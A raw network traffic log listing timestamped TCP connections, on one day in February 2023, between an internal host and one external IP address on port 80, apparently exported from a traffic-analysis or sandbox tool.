Feb 6, 2023 18:36:09.752949953 CET	49773	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.753700972 CET	80	49774	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:09.754025936 CET	49774	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.754519939 CET	49774	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.816104889 CET	80	49774	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:09.819736958 CET	80	49774	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:09.819881916 CET	49774	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.934333086 CET	49774	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.935277939 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.997045994 CET	80	49774	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:09.997193098 CET	49774	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.998097897 CET	80	49775	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:09.998256922 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:09.999213934 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.061676025 CET	80	49775	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.066962004 CET	80	49775	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.067123890 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.174770117 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.175546885 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.238075018 CET	80	49776	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.238239050 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.239074945 CET	80	49775	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.239175081 CET	49775	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.243724108 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.306463957 CET	80	49776	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.306922913 CET	80	49776	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.307084084 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.443542957 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.445852995 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.505491972 CET	80	49776	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.506863117 CET	49776	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.508773088 CET	80	49777	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.509797096 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.512878895 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.574573994 CET	80	49777	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.578663111 CET	80	49777	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.578790903 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.692233086 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.693850994 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.753576040 CET	80	49778	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.753698111 CET	80	49777	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.753942013 CET	49777	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.754395962 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.754395962 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.814996004 CET	80	49778	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.817142010 CET	80	49778	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.821197033 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.933260918 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.934088945 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.993022919 CET	80	49778	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.996931076 CET	80	49779	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:10.997076988 CET	49778	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.997109890 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:10.997636080 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.060678959 CET	80	49779	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.064073086 CET	80	49779	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.064287901 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.178402901 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.179085970 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.241112947 CET	80	49779	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.241411924 CET	80	49781	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.241539955 CET	49779	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.241585970 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.243043900 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.305623055 CET	80	49781	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.307111025 CET	80	49781	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.307257891 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.410434961 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.410511971 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.472327948 CET	80	49782	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.472527027 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.472743034 CET	80	49781	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.472879887 CET	49781	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.473355055 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.535613060 CET	80	49782	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.537575960 CET	80	49782	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.537781954 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.644648075 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.645674944 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.706402063 CET	80	49783	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.706439018 CET	80	49782	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.706852913 CET	49782	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.706957102 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.707389116 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.767992973 CET	80	49783	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.770190954 CET	80	49783	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.770440102 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.878194094 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.878809929 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.939129114 CET	80	49783	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.939239025 CET	49783	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.941231966 CET	80	49784	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:11.941349983 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:11.941698074 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.004160881 CET	80	49784	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.006139040 CET	80	49784	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.006257057 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.117573977 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.118781090 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.180258989 CET	80	49784	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.180331945 CET	80	49785	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.180474043 CET	49784	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.180561066 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.181175947 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.243906021 CET	80	49785	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.247046947 CET	80	49785	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.247112989 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.362876892 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.365022898 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.424890041 CET	80	49785	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.425076962 CET	49785	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.425820112 CET	80	49786	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.426023006 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.426489115 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.487287045 CET	80	49786	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.490788937 CET	80	49786	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.490962982 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.597798109 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.599034071 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.659019947 CET	80	49786	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.659157038 CET	49786	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.659358978 CET	80	49787	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.659522057 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.665966988 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.726437092 CET	80	49787	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.728543043 CET	80	49787	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.728642941 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.833291054 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.834188938 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.893975019 CET	80	49787	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.894057989 CET	49787	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.896823883 CET	80	49788	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.896945953 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.897780895 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:12.958452940 CET	80	49788	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.961004972 CET	80	49788	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:12.961150885 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.068578005 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.069329023 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.129481077 CET	80	49788	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.129520893 CET	80	49789	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.129602909 CET	49788	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.129637003 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.130119085 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.191332102 CET	80	49789	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.194447041 CET	80	49789	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.194544077 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.302576065 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.303555012 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.363235950 CET	80	49789	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.363341093 CET	49789	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.364995956 CET	80	49790	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.365092039 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.365591049 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.427263021 CET	80	49790	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.429371119 CET	80	49790	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.429466963 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.539973974 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.540889025 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.601694107 CET	80	49790	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.602135897 CET	49790	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.602184057 CET	80	49791	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.602283001 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.602771044 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.664268970 CET	80	49791	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.666631937 CET	80	49791	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.666770935 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.769470930 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.770433903 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.831094980 CET	80	49792	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.831136942 CET	80	49791	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.831371069 CET	49791	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.831376076 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.832897902 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:13.893415928 CET	80	49792	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.896177053 CET	80	49792	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:13.897245884 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.004107952 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.005105019 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.064702988 CET	80	49792	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.065311909 CET	49792	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.066752911 CET	80	49793	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.066942930 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.067336082 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.128607988 CET	80	49793	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.132473946 CET	80	49793	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.134243965 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.238171101 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.239094019 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.299240112 CET	80	49794	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.299479008 CET	80	49793	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.299689054 CET	49793	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.300033092 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.301275015 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.362190962 CET	80	49794	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.363877058 CET	80	49794	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.364084959 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.472008944 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.472646952 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.532331944 CET	80	49795	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.532378912 CET	80	49794	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.532526016 CET	49794	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.535254002 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.536822081 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.596638918 CET	80	49795	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.600203991 CET	80	49795	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.600388050 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.706995964 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.708170891 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.767047882 CET	80	49795	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.767251015 CET	49795	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.772147894 CET	80	49796	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.772272110 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.772958994 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.835992098 CET	80	49796	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.838946104 CET	80	49796	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:14.839068890 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.984181881 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:14.985240936 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.046722889 CET	80	49797	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.046792030 CET	80	49796	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.046868086 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.046889067 CET	49796	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.167905092 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.229506016 CET	80	49797	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.234064102 CET	80	49797	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.234155893 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.347594976 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.348316908 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.409265995 CET	80	49797	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.409414053 CET	49797	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.409610033 CET	80	49798	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.409707069 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.438756943 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.500134945 CET	80	49798	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.502535105 CET	80	49798	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.502662897 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.659852028 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.660573006 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.721323013 CET	80	49798	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.721487999 CET	49798	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.721724033 CET	80	49799	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.721852064 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.767937899 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:15.829399109 CET	80	49799	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.831954956 CET	80	49799	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:15.832093000 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.408648014 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.452261925 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.471240044 CET	80	49799	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.471338034 CET	49799	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.512999058 CET	80	49800	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.513181925 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.519326925 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.580017090 CET	80	49800	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.584275961 CET	80	49800	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.584428072 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.728931904 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.729640007 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.790568113 CET	80	49800	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.790806055 CET	49800	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.790932894 CET	80	49801	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.791138887 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.822546959 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:16.883400917 CET	80	49801	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.886051893 CET	80	49801	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:16.886173964 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:17.064835072 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:17.065753937 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:17.125668049 CET	80	49801	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:17.125847101 CET	49801	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:17.127391100 CET	80	49802	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:17.127558947 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.022305965 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.084247112 CET	80	49802	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.087846994 CET	80	49802	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.088033915 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.213012934 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.213969946 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.276422024 CET	80	49803	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.276530981 CET	80	49802	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.276536942 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.276632071 CET	49802	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.277309895 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.338074923 CET	80	49803	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.340989113 CET	80	49803	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.341089010 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.463085890 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.464186907 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.523797035 CET	80	49803	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.524029016 CET	49803	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.524988890 CET	80	49804	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.525145054 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.533345938 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.594223022 CET	80	49804	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.596836090 CET	80	49804	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.596950054 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.728100061 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.728830099 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.788383961 CET	80	49805	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.788532019 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.788801908 CET	80	49804	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.788930893 CET	49804	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.799887896 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.860142946 CET	80	49805	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.864208937 CET	80	49805	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:18.864315033 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.973081112 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:18.973867893 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.033663034 CET	80	49805	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.033749104 CET	49805	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.037677050 CET	80	49806	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.037878990 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.040858030 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.103393078 CET	80	49806	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.107131004 CET	80	49806	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.107240915 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.223304033 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.224265099 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.286077023 CET	80	49806	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.286232948 CET	49806	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.286583900 CET	80	49807	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.286849022 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.287197113 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.350356102 CET	80	49807	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.352997065 CET	80	49807	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.354064941 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.457542896 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.458326101 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.518832922 CET	80	49808	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.519048929 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.519855976 CET	80	49807	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.520673037 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.520730972 CET	49807	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.581159115 CET	80	49808	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.583667994 CET	80	49808	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.587754011 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.691759109 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.692898035 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.752296925 CET	80	49808	62.204.41.4	192.168.2.7
